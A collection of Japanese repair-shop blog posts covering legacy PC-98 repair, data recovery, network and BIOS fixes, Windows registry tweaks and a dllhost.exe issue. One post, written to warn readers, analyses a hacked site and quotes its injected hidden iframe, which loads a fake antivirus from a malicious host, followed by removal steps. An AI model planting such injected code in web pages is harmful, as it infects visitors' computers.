PC-98シリーズ デスクトップ

　現在販売されているWindowsやMacが動いているパソコンとは違うアーキテクチャ(基本設計)で動いているため買い換えもきかず、かといって動かないことには仕事にならない。。。という状況で修理できるなら直して使い続けたいというお客様は今でもかなり多いようです。（特に企業のお客様）

PC-98シリーズ ノートブック型

　全国的に見てもなかなかPC-98シリーズの修理対応が出来るところは少ない状況ですが、弊社ではこのようなニーズにもできる限り対応させていただいております。

　PC-98シリーズの場合

• FDD（フロッピーディスクドライブ）がフロッピーディスクを読み取ってくれない
• 電源が全く入らない
• 電源は入るが起動しない
• 液晶が表示されない、もしくは真っ白になる

　などが代表的な故障の症状となります。

　弊社の場合、このような症状を含め他の症状でも多くは修理やメンテナンスをしてあげることで息を吹き返すことができます。（中には故障箇所の代替え部品が用意できないものがあるので、そのような場所が故障してしまった場合などは代替品（PC本体）をご案内させていただくこともございます。）

　ここで大事なのは調子が悪くなったら早めにケアをしてあげることです。息絶えるまで酷使した後の修理の場合、どうにもならない状態になっていることがあります。もう少し早めに修理していれば。。。ということも多々あります。（人も物も同じですね）

　本格的な故障の前症状として

• 電源が1回で入る場合と入らない場合がある
• フロッピーディスクのアクセスが安定しない（同じことをしても読み込んだり読み込まなかったりする）
• 電源投入では液晶画面が表示されない（もしくは真っ白）、リセットすると正しく表示される
• 使用中に勝手に電源が落ちることがある
• 明らかに異音が発生している
• メモリカウントが終わると止まってしまい先に進まない
• ハードディスク（固定ディスク）から起動しない

　などが発生することがあります。

• 何回も電源を入れ直す
• しばらく放っておく

　と使えるようになるのでだましだまし使っていることも多いようですが、こうなったら出来るだけ早くメンテナンスしましょう。この状況であればメンテナンスで完全復活することが多いです！

　なお、製造現場など業務用で販売されていたFC-9801、FC-9821というシリーズもございますが、こちらも同様に対応させていただいております。

FC-98シリーズ

　弊社修理部品が手に入るうちはひきつづき対応をさせていただきたく考えております。

　他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。

内容は「デジタルカメラで撮影したデータが突然見えなくなってしまったので復旧したい」というもの。
詳しい状態をお聞きすると

• デジタルカメラに記憶メディア（今回はxDピクチャーカード）を入れるとフォーマットを要求されてしまう。
• パソコンのカードリーダーに接続してもフォーマット要求。
• デジカメ、パソコン両方とも何台かで試したがすべて同じ状態。
• 特に壊れるような取り扱いをした覚えはない。
• 撮影時までは問題なかったが、会社に持ち帰りパソコンのカードリーダーにメディアを挿入したときからエラー発生
• 同業他社に復旧依頼をしたが、復旧不能と判断された。
  「カード自体は認識できるようだがそこからデータを取り出しできない」とのこと。

このご依頼は3月に対応させていただいたのですが、まだまだ寒い日が続いており静電気によるメディア破壊の可能性が大いに考えられる状況で、他社で復旧不能との判断もあったため少々手こずりそうな印象を受けました。

xDピクチャーカード

一旦メディアをお預かりして、メディアの状態を確認することになりました。

まずは特殊な方法を使いメディアに直接アクセスしてみます。。。。
幸いなことに物理的には問題がなく全領域にアクセスが可能でした。
とはいうものの確かにデジカメやパソコン上ではフォーマットされていないメディアとして認識されてしまい撮影したデータはどこにも見つからない状態。

この結果よりファイルを管理する領域が何らかの原因（おそらく静電気）により破壊されてしまったことが原因と想定されました。

そこでこの破壊されてしまった情報を再構築してデータの復旧をすることにしました。
再構築の方法は残念ながらかなり専門的な部分になりますので説明を省略しますが、その結果。。。。。全データの復旧に成功！！！

お客様に復旧したデータを確認いただき、CD-Rにてデータをお渡しして復旧対応完了となりました。
（2011年10月～2012年3月までの撮影データ 計1215枚）

後で聞いた話では詳しいことはわかりませんが監査で使う重要なデータが入っていたとのことで復旧できなければ大問題になってしまうところだったようです。
お客様のご期待にお応えできて一安心しました。

補足となりますが、巷ではフリーソフトから市販品まで様々なデータ復旧ソフトがありますが、一般向けのソフトではまだまだ復旧能力はそれほど高くないようです。
実は今回の案件ではデータ復旧できたように見えたものが1つ（市販品）あったのですが、実際復旧されたデータは皆サイズが一緒になっており、本来のデータに無駄なデータがてんこ盛りになっている状態でした。。。
大事なデータの場合はやはりまだまだ私たちのような復旧業者をご利用いただくことがよいのではないかと思う次第です。
（ただし某大手さんのようなボッタクリには気をつけましょう。何処とは言いませんが。。。）

スタッフK

他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。

今回は比較的よくお問合わせのある項目である

トラブル発生

「インターネットに繋がらなくなっちゃったんだけど。。。」

という内容。しかし今回はちょっと珍しい事案（？）でした。

この事例の1つをご紹介いたします。

今回は上田市のお客様よりご相談をいただきました。
状況についてお話を聞いてみると

といった状況。

ある程度ネットワーク構築の知識は持っているが今回は解決しないということで弊社にレスキュー依頼が入りました。

現地についてから早速ネットワークの状態を目視確認してみようと思いましたが、
接続はすべて取り外されておりましたのでお客様にお話を伺って状態を確認。

インターネット　－　VDSLモデム　－　(有線)ハブ　－　パソコンなど

という状況だったようです。

インターネット　－　VDSLモデム　－　パソコン

でもダメだったようです。

ネットワークとしては取立てて問題になりそうなところはなさそうですし、元々しばらくは使えていたという状況でもありますので配線の問題は除外できそうです。（モデムのLINK、LINEのランプも正常でした）

ここで一つ疑問が。
機器の結線は問題なさそうで、リンク状態も良さそう。ひかりTVは使えている。
となると・・・プロバイダの契約の問題？　もしくは単にモデムの故障？
ちょうど月をまたいだタイミングでもありますので。。。

ネットに繋がらない

お客様に聞いてみると「口座振替になっているので問題ないと思います」とのこと。
もし支払いで問題があったら催促があるはずですが、「そういったものもない」ということでプロバイダの線は除外されそうでしたので、原因をモデムに絞り詳細検査を進めようとしていると。。。

お客様より衝撃の事実が！
プロバイダ(Yahoo! BB)に確認をとっていただいたところ、口座振替えしているつもりが実はそうなっていなかったようで料金未払いでサービス停止となったことが判明！！！

なんとまぁ、あっけない幕切れとなりました。

ということで、作業的には何もなく、料金のお支払いをお願いして対応完了となりました。

ここで今回の内容をまとめてみます。

快適なパソコンライフ

今回の場合、支払いに関することは奥様がしておられたようなのですが、産休で実家に戻ってしまっているため支払いが止まってしまったようです。
旦那様はてっきり口座振替になっているとばかり思っていたという背景もありサービス停止まで全く未払いに気づかなかったということでした。

インターネット回線の契約とインターネット接続の契約は別になっていることもお客様の混乱の原因になってしまいました。

ひかりTVは使える（＝インターネットに繋がっているはず）、なのにパソコンからはインターネットが繋がらない。。。

契約が別々だからという背景がわかれば切り分けもしやすかったと思いますが、普通の方はそのような認識はまず持っておりませんので仕方のないところだと思います。

同じ状況になることはあまりないと思いますが、参考にしていただければ幸いです。

インターネットの接続がうまくいかない方、調子が悪い方等、何かお困りのことがございましたら、お気軽に弊社までお問い合わせをいただければと思います。

そこで大変申し訳ございませんが、持ち込み修理につきましては
2011年10月31日をもちまして一旦停止とさせていただくこととなりました。

11月より弊社サービスをご利用の際は「出張修理」、「郵送・宅配修理」のどちらかを
ご利用いただけますようよろしくお願いいたします。

なお、代わりとなるサービスを現在検討してございます。
何卒ご理解を賜りますようお願い申し上げます。

事の始まりはgoogleさんで調べ物をしてたどり着いたGoogle Maniaというサイト。
このサイトではgoogleの各種サービスについて詳しい解説などがされていて、この関係としては結構人気があると思われます。
検索でも最上位に表示されるような状況なので知っている方も多いかもしれません。

改竄されてしまったサイト(Google Mania)

ところがこのサイト長らくメンテナンス等されておらず放置状態となっています。
サイト自体も古いバージョンのCMSが利用されており既知の重大な脆弱性を持っているのですがメンテナンスされていない事もあって、悪意のある第3者によってサイトの改ざんが行われてしまっています。（ざっと確認しましたが全ページ改ざんされているようです）

6月頃に一度改ざんされて攻撃サイトと化してしまっていたようです(ソース)が、改ざんで埋め込まれたサイトが停止された事でいったんは落ち着いたようです。
（サイトメンテナンスによって改ざんされたわけではないようで、脆弱性はそのまま？）

今回2011年8月22日(今日)にアクセスしたわけですが、新しく改ざんされたかもしくは停止されたサイトが復帰したかの理由によりまたしても攻撃サイトと化しています。
しかも現時点(8月22日 17:00)でほとんどのセキュリティーソフトが検知できない新種の偽セキュリティソフトが勝手にPCにインストールされ実行されてしまうという状況なのです。

（改ざんされたサイト）
　Google Mania(ｇｏｏｇｌｅ－ｍａｎｉａ.ｎｅｔ)

（不正コード）
　<div style=”position: absolute; left: -1999px; top: -2999px;”><iframe src=”*ttp://kliemwrznr.co.**/i.php?go=1″ width=”3″ height=”3″></iframe></div>

（ウィルス検査結果）

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
VirSCAN.org Scanned Report :
Scanned time   : 2011/08/22 17:14:43 (JST)
Scanner results: 5% のアンチウイルスが(2/37) マルウェアと判定しました
File Name      : 0.2367670180808894.exe
File Size      : 936448 byte
File Type      : PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5            : 22f95e63e1e109d894149c6b9949d59f
SHA1           : 5e1c325627988ebe86ea3dae280764334442104b
Online report  : http://r.virscan.org/173025f2d056d40ef7d8ff2442d76494

Scanner        Engine Ver      Sig Ver            Scan result
a-squared      5.1.0.3         20110822060411     -
AhnLab V3      2011.08.22.02   2011.08.22         -
AntiVir        8.2.6.32        7.11.13.155        -
Antiy          2.0.18          20110804.11725727  -
Arcavir        2011            201107140423       -
Authentium     5.1.1           201108211932       -
AVAST!         4.7.4           110821-1           Win32:FakeAlert-AZL [Trj]
AVG            8.5.850         271.1.1/3849       -
BitDefender    7.90123.8954708 7.38720            -
ClamAV         0.97.1          13462              -
Comodo         5.1             9829               -
CP Secure      1.3.0.5         2011.08.19         -
Dr.Web         5.0.2.3300      2011.08.22         -
F-Prot         4.6.2.117       20110822           -
F-Secure       7.02.73807      2011.08.22.01      -
Fortinet       4.2.257         13.567             -
GData          22.1742         20110822           -
ViRobot        20110820        2011.08.20         -
Ikarus         T3.1.32.20.0    2011.08.22.79150   -
JiangMin       13.0.900        2011.08.21         -
Kaspersky      5.5.10          2011.08.22         -
KingSoft       2009.2.5.15     2011.8.22.14       -
McAfee         5400.1158       6445               -
Microsoft      1.7604          2011.08.22         -
NOD32          3.0.21          6398               -
Norman         6.07.10         6.07.00            -
Panda          9.05.01         2011.08.21         -
Trend Micro    9.200-1012      8.360.11           -
Quick Heal     11.00           2011.08.20         -
Rising         20.0            23.71.03.03        -
Sophos         3.22.0          4.68               Mal/FakeAV-LX
Sunbelt        3.9.2497.2      10238              -
Symantec       1.3.0.24        20110821.003       -
nProtect       20110821.01     12475755           -
The Hacker     6.7.0.1         v00282             -
VBA32          3.12.16.4       20110821.1017      -
VirusBuster    5.3.0.4         14.0.179.0/5952350 -
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

検出できたものは「Win32:FakeAlert-AZL [Trj]」、「Mal/FakeAV-LX」として発見していますね。

偽セキュリティソフト(Security Protection)ですので自分を棚に上げて存在しないウィルスを大量に発見したかのように振る舞い
駆除するためにお金を払え(ソフトを購入しろ)という動作を行います。
攻撃手法の詳細は分かりませんが危険な状態ですね。

偽セキュリティソフト(Security Protection)

一度感染すると自分以外の常駐プログラムをどんどん強制終了させ、本物のセキュリティソフトも停止させられます。
また、偽セキュリティソフトを終了させようとタスクマネージャー等を立ち上げても強制終了させられてしまいます。
ということで一度動作し出すとシャットダウンするしかなくなります。
（偽セキュリティソフトが動いていますが意味がないですし、他の不正プログラムをネットから引っ張ってくる可能性もあります）

駆除は以下の方法で可能です。（幸い今回のケースは簡単でした）

1. 感染を確認したら即時ネットワーク接続を切断しパソコンをシャットダウンします。
   有線接続の場合はケーブルを抜き、無線接続の場合は電波をOFFにするかアクセスポイントの接続を切断します。
2. 再度電源を入れます。画面に何か表示されたらしばらくF8キーをトントン押し続けて下さい。
   詳細オプションの選択メニュー（またはWindows拡張オプションメニュー）が表示されます。
3. 「セーフモード」を選択してWindowsを起動します。
4. 偽セキュリティソフトの起動を停止
   スタート→すべてのプログラム→スタートアップ→に「Security Protection」という項目があるので
   マウスカーソルがこの上において 右クリック→削除
5. デスクトップのショートカットなどを削除
   デスクトップ上に「Security Protection」というショートカットがあるので削除。
   また、でたらめなファイル名アイコンがある場合はこれも削除（これが偽セキュリティソフトのインストーラーです）。
   

   偽セキュリティソフトのアイコン

6. 偽セキュリティソフト本体を削除

   WindowsVista、7の場合
   　　C:\Users\(ログイン名)\AppData\Roaming\defender.exe

   WindowsXP,2000の場合
   　　C:\Documents and Settings\All Users\Application Data\defender.exe

   が偽セキュリティソフト本体なのでこれを削除

7. 元の状態に戻す
   パソコンを再起動します。
   起動が終わったらネット接続を元に戻します（線を繋ぎ直す、または無線を再接続）。

以上です。
対象の箇所にファイルがない場合はファイル名でパソコン内を検索等してみて下さい。
（数日経てばほとんどのセキュリティソフトで対応できると思いますが。。。）

サイト管理者は自分のサイトに責任を持って管理していただきたいものですね。

昔のようにいわゆる危ないサイトにいかなければウィルスに感染しないという時代はとっくに終わっています。今回のようにウィルス対策ソフトのワクチンが間に合わない場合もありますが、それでも最低限の防御をしてより安全にインターネット等を楽しんでいただければと思います。

自信がない＆原因が違うなどの場合は是非弊社にお預けください！
他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。

今回パソコンが起動しないということでお預かりしたこのパソコンですが、とりあえず電源を入れてみて状況を確認してみると

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
0250: System battery is dead – Replace and run SETUP
0270: Real time clock error.
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

というエラーメッセージが表示され、しばらくすると勝手にBIOS画面に入ってしまい、OSが起動しない状態になっていました。

メッセージからしてBIOSの設定状態などを保存しておくための内部バッテリーが消耗してしまったことが原因であると推測されましたが、念のためlenovoのHPより当該機種のエラーコードとその意味を確認してみます。

Lenovo 数字エラー・コード – ThinkPad R30, R31 – Japan

それぞれのエラーの意味と対処法について、以下のように書かれています

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
エラーコード 0250
CMOS クロックのバッテリー・インジケーターがバッテリー切れを示しています。
→ バッテリーを交換し、セットアップを実行してシステムを再構成します。

エラーコード 0270
BIOS ハードウェア・テストでリアルタイム・クロックがエラーになりました。
→ ボードの修理が必要です。
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

なにやら後者は穏やかでない感じですが、これはエラー0250によって引き起こされていると考えることができますので、とりあえず内部バッテリーを交換します。
ちなみにこれはノートパソコンをコンセントのない場所で使うためのバッテリーではなくパソコン内部にあるバッテリー（今回の場合はボタン電池）ですのでお間違いないようにご注意ください。

R30の場合ネジを2本(本体裏面の左右中央付近の2本)とキーボードの取り外しで、内部バッテリーにアクセスできますので、難易度は高くありません。

今回の場合、バッテリーはCR1220というものでした。修理用の在庫を使って早速交換して動作を見てみると、2つ出ていたエラーが0270の1つだけになりました。
次にBIOSでパソコンの時計を設定し直し、設定を保存するとこのエラーもなくなって無事エラーがない状態に。。。
とはいきませんでした。。。あらたに警告メッセージが出てくるではありませんか。。。

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
ERROR
Warning : IRQ not configured – PCI
BUS:00 Device:13 Function:00

Warning : IRQ not configured – PCI
BUS:00 Device:0A Function:00

Warning : IRQ not configured – PCI
BUS:00 Device:09 Function:00
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

電池がなくなったことで保存されていたBIOSの設定値もおかしくなってしまったようです。
ちなみにIRQとは。。。きちんと説明すると難しくなるのでとりあえず無視しまして、対処方法のみ書いておきましょう。

パソコンに電源を投入後F1キーをしばらくの間1秒間隔程度で押し続けるとBIOS画面に入ることができます。
ここでＦ9を押し「Yes」を選択するとＢＩＯＳの各種設定を初期状態に戻すことができます。
このあとF10を押し「Yes」を選択するとBIOS設定の変更を保存し、自動的に再起動されます。

これでエラーもキレイさっぱりなくなりOSが無事起動するようになりました。

IBMのノートパソコン Thinkpad R30は発売からすでに10年近くが経ち同様の現象が多数発生していると思います。
エラーにめげることなくこの記事を参考に修復してみてはいかがでしょうか？

自信がない＆原因が違うなどの場合は是非弊社にお預けください！
他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。

トラブル発生

ご依頼内容は「ノートパソコンを移動したり、振動を与えたりすると頻繁にパソコンの電源が落ちてしまう。電源が入らないときもある。」という内容でした。

現地で確認させていただいたところ、確かにお申し出の通りの状況で、ACアダプタのコネクタの力の加え方で症状が変わる状態でした。

通常ノートパソコンはバッテリーを搭載していますのでACアダプタからの電源が一時的になくなってもバッテリーで動き続けるのですが、数年程度経過すると使い物にならない（充電がほとんどできない）状態になっていますので、 バッテリーが無い状態とほとんど変わらなくなってしまいます。今回のパソコンは2004年発売のモデル(Fujitsu FMV-Biblo NB18D/L)でしたので まさにこの状態でこのためACアダプタの電源供給がなくなるとすぐにパソコンの電源が落ちる状態でした。

「コネクタへの力の加え方で」という状況からして何らかの接触に不具合（接触不良）がある可能性が非常に高かったのですが、一度ノートパソコンを分解して内部を確認してみないと最終的な判断できなかったため、いったんお預かりして状況を見てみることに。

中を開けて確認してみると、早速原因が見つかりました！

赤丸で囲まれたところに注目です。
ここはACアダプタの受け側のコネクタ部分なのですが、ハンダの変色および剥げがみられます。

試しにACアダプタを接続し電源を入れてみると。。。。
バチバチ火花を散らす派手なパフォーマンスを見せてくれます。
変色はどうやらこの火花の出る状態が続いていたためのようですね。
剥げはACアダプタを接続しているときに無理な力が加わった（加えてしまった）結果と考えるのが妥当でしょうか。

ということで早速この部分の修復を行います。
剥げてしまった部分の残ったハンダを一旦綺麗にとってから作業を行います。
（そうしないとハンダがあまくなり再度同じ結果を招く可能性がありますので面倒でも一旦綺麗にしてから作業することをおすすめします） 
再ハンダが終了したら、導通確認、ACアダプタの接続テスト等を行った後、パソコンを組み立て直します。

さていよいよ最終動作確認を行います。
（組み立て前に各種テストをしていても、いつも緊張します）

バッチリOK！

力を入れすぎないようにACアダプタのコネクタ部に振動を与えてみて問題のないことを確認します。
間違ってもぐいぐい力を入れないようにしましょう。またハンダが剥げてしまう可能性があります。

分解に取り外した各種ケーブルが組み立て時にきちんと接続できているかを確認するため
念のためノートパソコンの各機能が正常に作動することを確認して作業完了です。

今回の富士通に限らず同じような原因で電源供給が不安定になる現象は比較的見受けられます。
パソコンの分解、ハンダの技術に自信のある方は今回の内容を参考にチャレンジしてみてください。
自信がない＆原因が違った場合などは是非弊社に！

他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。

少なくともIE6まではポップアップしたウィンドウのサイズをお好みのサイズに調整して閉じるだけで次回から反映されていたと思うのですが、お客様の環境(Windows XP IE8)では確かに毎回小さいウィンドウが開いてしまいます。
毎回毎回ウィンドウサイズを調整するとなるとかなり面倒ですね。。。

ということで今回はこの問題への対処を考えてみたいと思います。

方法1：新たにウィンドウサイズを記憶させる

1. IEで適当なWebサイト(Yahooやgoogle等)を開く
2. サイト内のリンクをShiftキーを押しながらクリックする。そうすると新しいウィンドウでページを開く
3. 新しく開いたウィンドウでのみ残し、他のIEのウィンドウは全部閉じる
4. タスクバーを右クリックして「上下に並べて表示」か「左右に並べて表示」を選択する 
5. ウィンドウを好みの大きさに変更する
6. Ctrlボタンを押しながら「×」ボタンを押してウィンドウを閉じる 

これでうまくいかない場合は次の方法で解決できるかもしれません。

方法2：Windowsに記憶されたサイズ情報を削除する(誤操作注意)

1. レジストリエディタを起動します。
   (起動方法がわからない方はこの方法はご利用にならない方がよいかと思います)
2. 「HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main」 とたどる
3. 右のペインの「Window_Placement」という文字列を右クリックして「削除」を選択
4. 「HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Old WorkAreas」とたどる
5. 右のペインの「OldWorkAreaRects」という文字列を右クリックして「削除」を選択
6. 方法1を行う

方法2に関してはレジストリを操作しますので取扱いを間違えると、最悪ウィンドウズが起動しなくなります。
このためレジストリの編集に責任を持てる方のみこの方法をご利用ください。

最後に個人的におすすめの方法として新規ウィンドウではなく新規タブで新しいページを開く方法があります。

方法3：新規ウィンドウではなく新規タブで開くようにする

1. IEを起動する
2. 「ツール」から「インターネットオプション」を選択する
3. 「全般」タブの下の方にある「タブ」項目の「設定」を選択する
4. 「タブ ブラウズを有効にする」の項目がチェックが入っている状態にする
5. 「ポップアップの発生時」の項目で「常に新しいタブでポップアップを開く」を選択する
6. 「OK」ボタンを押す

これでIEで開くウィンドウが一つだけとなり、いくつものページを開いているときは、画面上部のタブで表示するWebページを切り替えできます。

お好みの方法をご利用いただき問題が解決できれば幸いです。

スタッフK

他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。

今回の複合機に限らずパソコンに設定した共有フォルダへ他のPCなどからアクセスすると「このコマンドを処理するのに必要な記憶域をサーバーで確保できません」というエラーが発生しうまくアクセスできないことがあります。

実はこれはWindowsのServerというサービスで利用しているスタックというメモリが不足する場合に発生するエラーなのです。少し難しい話になってしまったかもしれませんね。すみません。。。

難しいことは置いておいて、これが発生した場合どうしたらよいか？
Windowsは残念ながらエラーを通知するだけで解決方法について面倒をみてくれません。。。

幸いマイクロソフトのサポートオンラインにこれに対応したものがありますので、これを参考に設定を変更しましょう。

ウイルス対策ソフトウェアが原因でイベント ID 2011 が発生することがある

（レジストリをいじることになるため、最悪パソコンが起動しなくなるなどの問題が発生する可能性があります。バックアップ等とってから作業を行うようにしましょう。）

では、対応手順をご説明します。

1. Windows に管理者でログオンします。
2. [スタート]－[ファイル名を指定して実行] から 「regedit」 と入力しレジストリエディタを起動します。
3. HKEY_LOCAL_MACHINE ¥SYSTEM ¥CurrentControlSet ¥Services ¥LanmanServer ¥Parameters と展開していきます。
4. (IRPStackSizeの項目がない場合) [編集]－[新規]－[DWORD 値] をクリックし、「IRPStackSize」という値を作成します。
5. IRPStackSize をダブルクリックし、データに 11よりも大きい数値を記入して「OK」します。(3程度づつ増やしていくと良いようです)
6. Windows を再起動します。

一度変更をした後もまだ症状が変わらない場合は設定する値を増やしてみてください。あまり大きな値は設定してもうまく動かなくなってしまいますので少しずつ増やしましょう。

・Windows NTの場合 4～12
・Windows 2000の場合 11~50
・Windows XPの場合 メーカー非公表？(Windows2000と同じと思われます)
・Windows 2003の場合 Windows XPと同じ

OSによって設定できる範囲が異なりますのでご利用の環境に合わせて値を設定してください。

他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。

トラブル発生

ご依頼は「パソコンがいつの間にかうるさくなりパソコンの電源を落とすまで回復しない。再起動するとしばらくは大丈夫なのですが、しばらくするとまた同じ現象になるんです。」という内容でした。

ウィルスチェッカは導入しており、特に変なものは検出されていないとのことでしたが、直感としては「ウィルス感染の疑いが強いかな？」と思いながら、現地にお伺いしました。

ESET Smart Security V4.0 10万本限定パック

まず状況確認。
すると確かに「唸って」います。ファンが一生懸命パソコン(Windows7のデスクトップ)を冷やそうと頑張っていました。
この状態になるとパソコンが明らかに遅くなる上に回復しないようです。

状況からして、間違いなく高負荷なプログラム（ウィルス？）が動き続けているための状態と考えられたため、次にプログラムの動作状況を確認してみました。

すると。。。いました！！

原因は「dllhost.exe」というプログラム。今回のパソコンはデュアルコアCPU機のため1プロセスの最大負荷は50%になるのですが、こいつが40～50%でずっと張り付いたままになっていました。

ではこいつは何なのか？

一時期ウィルスでこのファイル名を使うものがあったことを思い出し、「やっぱりウィルスだった」と思いましたが、念のために確認。

すると。。。

あれ？　MS謹製の本物のdllhost.exeではないですか。。。
そうか、そもそもこのウィルスはWindows7には感染しないはずですね。
危うく間違った判断をするところでした。
となると単なる暴走なのか？
1から原因を探し直すことになりました。

試しにこのプロセスを一旦強制的に殺して様子を見てみると復活せずに落ち着いています。
パソコンも一生懸体を冷やしていたのをやめおとなしい子になってしまいました。
念のため再起動をしてみましたが、こちらも特にプロセスの復活はないようです。

ご依頼の際も「再起動するとしばらくは大丈夫なのですが、しばらくするとまた同じ現象になるんです」ということだったのでまさにその状態なのでしょう。
ということはdllhost.exeが何をするかを調べて、それが動くような操作を試してみる必要がありそうです。

早速調べてみるとどうやら「サムネイルを生成する」際に利用されるようだったので、画像や動画の入ったフォルダをエクスプローラで見てみます。

すると、出ましたdllhost.exe！　確かにサムネイルを作成しているときに動いているようです。
しかし、サムネイルの作成が終わるとプロセスも終了しています。

う～ん。。。サムネイルの生成が終わるとプロセスが正常に終了するんだから。。。
サムネイルが作れない場合は暴走することもありうる！？

横で作業を眺めていたお客様が、「そういえばあるフォルダだけサムネイルが中途半端に作成される」との情報もいただき、ますますその線が濃くなってきました。

ひらめきを早速実践してみます。サムネイルが作成できないフォルダを教えていただき様子を見ると。。。

でた～！dllhost.exeの暴走！！
暴走を始めるとサムネイル作成に使用したエクスプローラを閉じても暴走は止まりません。
こうなったらプロセスを強制的に殺さない限り、暴走したままのようです。（念のため10分ほど待ってみましたが変化なし）

原因はわかりましたが、ではなぜサムネイルが作成できないのか？
そうです。ファイルが破損していました。
具体的には今回の場合はシークのできないWMV形式のファイルが原因でした。
はじめから異常だったのかハードの問題で壊れてしまったかまではわかりませんが、現時点ではシークできない。

ということでこれをWMVConcatというツールを使って修復してシークができるようにすると、サムネイルの作成が無事完了。

快適なパソコンライフ

dllhost.exeの暴走もなくなりました。
これで一安心です。

結局他にももう一つ壊れたファイルが見つかりこちらもケアして、状況が再発しないことを確認し、作業完了となりました。

結果がわかるとこれって結構普通に発生しそうな気がする症状ですが、どうなんでしょうか。
他に要因があったりするのかもしれませんが。。。
と思ってネットで検索してみると原因解決した例はないようですが、同じような症状の方はたくさんいるみたいですね。
この投稿を参考にしていただければ幸いですね。

他社には断られたような事案も大歓迎。お困りのことがあったら、お気軽にご連絡ください。お見積もりは無料です。

Tel：0268-75-8270
または
「お問い合わせ」
よりご連絡ください。